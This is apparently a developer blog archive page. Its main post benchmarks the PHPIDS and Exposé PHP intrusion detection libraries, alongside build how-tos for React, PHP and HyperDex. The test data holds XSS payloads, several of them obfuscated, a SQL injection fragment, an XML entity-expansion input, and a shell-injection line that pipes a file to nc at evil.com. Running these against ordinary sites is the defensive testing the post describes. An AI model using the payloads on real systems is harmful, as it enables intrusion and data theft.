Categories
howto security

Hack of the Week: Episode 3: Unknown probe

Yes, I know. It has not been weekly. Since I last posted a lot of script kiddies populated my logs but not with anything all that interesting. Until today.

Categories
howto

Getting ReactJS to use a local external js library

My new job involves mostly frontend work with various js libraries like ReactJS. I ran into the issue of wanting to include jquery.csv.js into a project and felt that existing documentation was lacking. Most google searches returned how to use something from a CDN. Our systems need to be able to run offline in the middle of Africa. A CDN isn’t going to cut the mustard.

First, get the library:

    npm install jquery-csv --save

Now we make a reference to it in webpack.config.js

    resolve: {
        alias: {
            ....
            'jquery-csv': path.resolve('./node_modules/jquery-csv')
        }
    }

FInally we tell the application about it (in app.js if you want)

    require('jquery-csv')

Restarting the server and checking the console, I can reference $.csv to my heart’s desire.

Categories
howto security

Basic Intrusion Detection with Expose

I totally forgot to mention that I was published in the September edition of phpArchitect. Not only that, you can download my article for free. Head on over to https://www.phparch.com/magazine/2015-2/september/ to grab your copy. If you missed my php[world]15 talk, this will get you up to speed.

Categories
howto security talk

php[world] Talks: Migrating Data to D8 / Basic IDS with Expose

I had the privilege to present two talks at php[world]15 this week.

Categories
howto security

Legacy app first pass security

Inheriting a legacy app can be an adventure. Sometimes it can be much more than that. Trying to securely lock down a legacy app can be a much larger prospect. Here is a “quick” first pass recommendation.

Categories
howto security

IDS Showdown: PHPIDS vs Exposé

Many years ago I stumbled upon PHPIDS and began incorporating it into all the systems that I built. I wanted to have an extra layer of intel into who was accessing my systems. Last year, at php[tek]13, @enygma started building Exposé, an alternate IDS, based upon the same rulesets as PHPIDS (perhaps motivated by my uncon talk). After making a few meager contributions myself, I decided to see how the two stacked up.

Setup

First, lets get two clean copies of each library from github using composer.

mkdir exposetest
cat > exposetest/composer.json <<COMPOSER
{
  "require":{
    "enygma/expose":"dev-master"
  },
  "minimum-stability" : "dev"
}
COMPOSER
mkdir phpidstest
cat > phpidstest/composer.json <<COMPOSER
{
  "require":{
    "PHPIDS/PHPIDS":"dev-master"
  },
  "minimum-stability" : "dev"
}
COMPOSER
cd exposetest && composer install
cd ../phpidstest && composer install
#get the default config and filters to where PHPIDS can read them
cp vendor/phpids/phpids/lib/IDS/Config/Config.ini.php vendor/phpids/phpids/lib/IDS/default_filter.xml .
#give PHPIDS somewhere to write its cache
mkdir tmp
cd ..

Once that is done, you will notice that exposé has three dependencies, whereas PHPIDS only has one. Currently, exposé follows the PSR-2 and PSR-3 standards, whereas PHPIDS does not. PSR-3 support makes a difference if you want to simply drop in your own logger instead of the default.

Test Scripts

Ok, back to testing. Lets set up a basic set of possibly malicious code for each library to parse, and use the recommended default install for each. A couple of the chosen test elements reference back to the default filter sets provided by PHPIDS, so we know something will trigger. Starting with the venerable PHPIDS, make an index.php in phpidstest:

//PHPIDS TEST RIG
require 'vendor/autoload.php';

/* testing set */
$data = array(
    '1' => 'bah"></a>',    //rule 1: html escape
    '21' => '%22+onMouseOver%3D%22alert%28', //rule 21: basic XSS probings
    '3' => '>aabbcc</abc>', //rule 3: finds unquoted attribute breaking injections
    '4' => '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
    '5' => '<IMG SCR=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
    '6' => '<iframe src=http://ha.ckers.org/scriptlet.html <',
    '7' => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
    '8' => '<<SCRIPT>prompt("XSS");//<</SCRIPT>',
    '9'=>'<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>',
    '10'=>"';alert(String.fromCharCode(88,83,83))",
    '11'=>'<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>',
    '76'=>'union select from',
    'xmlexp'=>'<!DOCTYPE root [<!ENTITY a "Ha !">]><root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>',
    'shell'=>'foo || cat /etc/password | nc evil.com',
);

$loops = 1;  //for later

$start = time();
for ($i=0;$i<$loops;$i++){
    foreach($data as $key=>$datum){
        $s = time();

	$init = \IDS\Init::init('./Config.ini.php');
	$ids = new \IDS\Monitor($init);
	$result = $ids->run(array('POST'=>array($key=>$datum)));
        echo $key.":\t".$result->getImpact()."\t".(time()-$s)."\n";
        clearstatcache();
    }
}
$end = time();

echo "Elapsed: ".($end-$start)."\n";

And now exposé. By default exposé wants to use a Mongo logger, but we can toss in the MockLogger instead. Once again make an index.php in exposetest:

require 'vendor/autoload.php';
require 'vendor/enygma/expose/tests/MockLogger.php';  //use a mock so we don't have to worry about Mongo

/* testing set */
$data = array(
        '1' => 'bah"></a>',    //rule 1: html escape
        '21' => '%22+onMouseOver%3D%22alert%28', //rule 21: basic XSS probings
        '3' => '>aabbcc</abc>', //rule 3: finds unquoted attribute breaking injections
        '4' => '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
        '5' => '<IMG SCR=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
        '6' => '<iframe src=http://ha.ckers.org/scriptlet.html <',
        '7' => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
        '8' => '<<SCRIPT>prompt("XSS");//<</SCRIPT>',
        '9'=>'<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>',
        '10'=>"';alert(String.fromCharCode(88,83,83))",
        '11'=>'<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>',
        '76'=>'union select from',
        'xmlexp'=>'<!DOCTYPE root [<!ENTITY a "Ha !">]><root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>',
        'shell'=>'foo || cat /etc/password | nc evil.com',
);

$loops = 1;  //for later

$start = time();
for ($i=0;$i<$loops;$i++){
    foreach($data as $key=>$datum){
        $s=time();
        $filters = new \Expose\FilterCollection();
        $filters->load();
        $logger = new \Expose\MockLogger();
        $manager = new \Expose\Manager($filters, $logger);
        $manager->run(array('POST'=>array($key=>$datum)));
        echo $key.":\t".$manager->getImpact()."\t".(time()-$s)."\n";
        clearstatcache();
    }
}
$end = time();

echo "Elapsed: ".($end-$start)."\n";

Comparing Threat Levels

Our first test run is to check to see how exposé and PHPIDs rate each threat. We just run “php index.php” in each folder and compare. Simple.

Impact Results:

  Test  PHPIDS exposé
   1:     11     4
  21:      3     3
   3:      2     2
   4:     51     5  *
   5:      9     5
   6:     13    13
   7:     29    18
   8:     29    18
   9:     24     0  *
  10:     32    13  *
  11:     11     0  *
  76:     20    20
  xmlexp: 16    11  *
  shell:  10    10

As a rule of thumb, I have set my impact threshold around 12. You would need to tune the value to your specific environment and requirements. As you can see here, there are 5 specific tests that differ significantly (within my threshold):

  • 4 & 11: Obfuscation of an image source path
  • 9 & 10: fromCharCode js obfuscation
  • xml entity expansion

Resource Test

Both of these basic tests run in a blink of the eye. Altering the $loop parameter to 1000, we start to see a bit of a speed difference between the two engines.

PHPIDS: 28s 
exposé: 32s

In both cases, the script pegged one CPU. Memory usage did not vary significantly.

Both libraries churn through these simple example tests. How about a real world example?

Maliciousness

I have collected a few particularly nasty exploits recently. Some drop a shell code browser on your box. Others are more full featured with included SQL browsers. So, I decided to put PHPIDS and exposé to a more rigorous test. In this example I tested a 27k long mystery string which would normally be converted with eval(gzinflate(base64_decode(EVILNESS))) into “lulz u r p0wnd” nastiness. Here are the results (using only 10 loops instead of 1000):

Library  Impact   Speed
PHPIDS    47       141s
exposé    18        26s

PHPIDS winds up being a lot slower on this known bad vector, yet it gives us a much higher impact level. This is primarily due to the PHPIDS “Centrifuge” which does additional black magic behind the scenes.

Conclusion

In the realm of an inline PHP IDS, we are left with the triad of: sensitivity, selectivity, and performance. High sensitivity allows for better detection of threats. Higher selectivity (or spread in the impact levels) allows for better separation of threat risk. These two directly effect the performance/thoughput. PHPIDS and exposé have differing sensitivity levels, meaning you may have to lower your threshold for the same amount of detection. The lower your impact threshold, the more noise (and email alerts) you will encounter. And finally, both will have a performance hit, but PHPIDS more so due to the higher sensitivity.

exposé is a great new entry to the very small world of PHP based intrusion detection. It is up to the latest PHP coding standards, will easily integrate with existing systems, and shows excellent promise. It has several other features of note, like an offline processing queue, that you should check out. If you tune your impact thresholds a bit lower, you can get roughly the same detection with some performance gain, however it did miss the mark on a couple specific threats. When it comes to larger and more complicated nastiness, PHPIDS’s Centrifuge provides a more thorough breakdown of the intrusion attempt.

If you are not already monitoring your logs, you need to start. Perhaps PHPIDS or exposé can move you in that direction. Happy coding, and keep your websites safe!

Categories
howto work

Taking Flight with AngularJs

Lately at work we have been getting into the Flight PHP framework for simple REST-like services with an AngularJS front end. We have had to do a bit of juggling however to get one of the nicer AngularJS features to work: “html5Mode”. Here is what we did.

Categories
howto

OSX PHP 5.5 Beta 1 Build part 2 (Bison)

In my previous post I was trying to get PHP 5.5 beta 1 compiled on my OSX laptop. It turns out that Mountain Lion ships with a version of Bison from 2006. Really Apple? There is a difference between being a hipster and being old. Let’s fix this! If you have not read it already and installed autoconf and git, make sure to do so.

Upgrading Bison:

  1. Go to http://ftp.gnu.org/gnu/bison/ and get 2.6.2. Why not 2.7.1? Because PHP doesn’t support it yet. You would need to manually patch Zend/acinclude.m4 to allow for it.
  2. tar -zxvf bison-2.7.1.tar.gz
  3. cd bison-2.7.1
  4. ./configure –prefix=/usr/local
  5. make
  6. sudo make install
  7. export PATH=/usr/local/bin:$PATH

Now we have a new version of bison in /usr/local/bin. Time to configure php again.

./configure --with-apxs2=/usr/sbin/apxs  --enable-cli --with-config-file-path=/etc --with-libxml-dir=/usr --with-openssl=/usr --with-kerberos=/usr --with-zlib=/usr --enable-bcmath --with-bz2=/usr --enable-calendar  --disable-cgi --with-curl=/usr --enable-mbstring --enable-mbregex --with-mysql=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql-sock=/var/mysql/mysql.sock --with-libedit --with-readline=/usr --enable-shmop --with-snmp=/usr --enable-soap --enable-sockets  --enable-sysvmsg --enable-sysvsem --enable-sysvshm --with-tidy --with-iconv-dir=/usr  --enable-zip

And it worked! Will it blend?

make
...
Build complete.
Don't forget to run 'make test'.
$

Yes in deed. I made sure to run “make test” as well and not everything passed so I sent in the report. Make sure you do as well.

Categories
howto

OSX 10.8.3 PHP 5.5 pre Build

At the urging of @akrabat at #tek13, I decided to see if I could compile #php 5.5 on my cleanly installed Mountain Lion. Here is how it went.

Categories
howto

Building HyperDex from Git on Ubuntu 12.10

I decided to look in to HyperDex again and found someone beat me to making a php extension. Emboldened to get it up and running for a pet project, I wanted to see if I could build Hyperdex itself from source on my newest Ubuntu 12.10 VM before tackling the php extension.

I followed Göran Krampe‘s install instructions and ran into a few hiccups. He installs a couple libraries we don’t need, and misses python-sphinx as well. Here is my update:

$ sudo apt-get install git autoconf automake autoconf-archive \
libtool python-dev python-pyparsing cython libpopt-dev \
libcityhash-dev g++ libgoogle-glog-dev libleveldb-dev \
bison gperf flex python-sphinx

The rest is mostly the same until the end since we don’t need the python bindings.

git clone git://git.hyperdex.org/po6.git
git clone git://git.hyperdex.org/e.git
git clone git://git.hyperdex.org/busybee.git
git clone git://git.hyperdex.org/replicant.git
git clone git://git.hyperdex.org/HyperDex.git
cd po6 && autoreconf -i; ./configure; make && sudo make install
cd ../e && autoreconf -i; ./configure; make && sudo make install
cd ../busybee && autoreconf -i; ./configure; make && sudo make install
cd ../replicant && autoreconf -i; ./configure; make && sudo make install
cd ../HyperDex && autoreconf -i; ./configure; make && sudo make install

When it came time to test HyperDex out, it showed me no love.

$ hyperdex daemon --help
hyperdex daemon: error while loading shared libraries: libe.so.0: cannot open shared object file: No such file or directory

Looking back through the build spam I see that I need to add /usr/local/lib to my LD_LIBRARY_PATH. Since I want this in my path on boot, lets add it to our ld.so

$ sudo nano /etc/ld.so.conf.d/e.conf

 

#export needed for 'e' library for HyperDex execution
/usr/local/lib

Save it then reload the ldconfig:

$ ldconfig

Now, HyperDex starts up swimmingly:

$ hyperdex daemon --help

Next step: building php-hyperdex!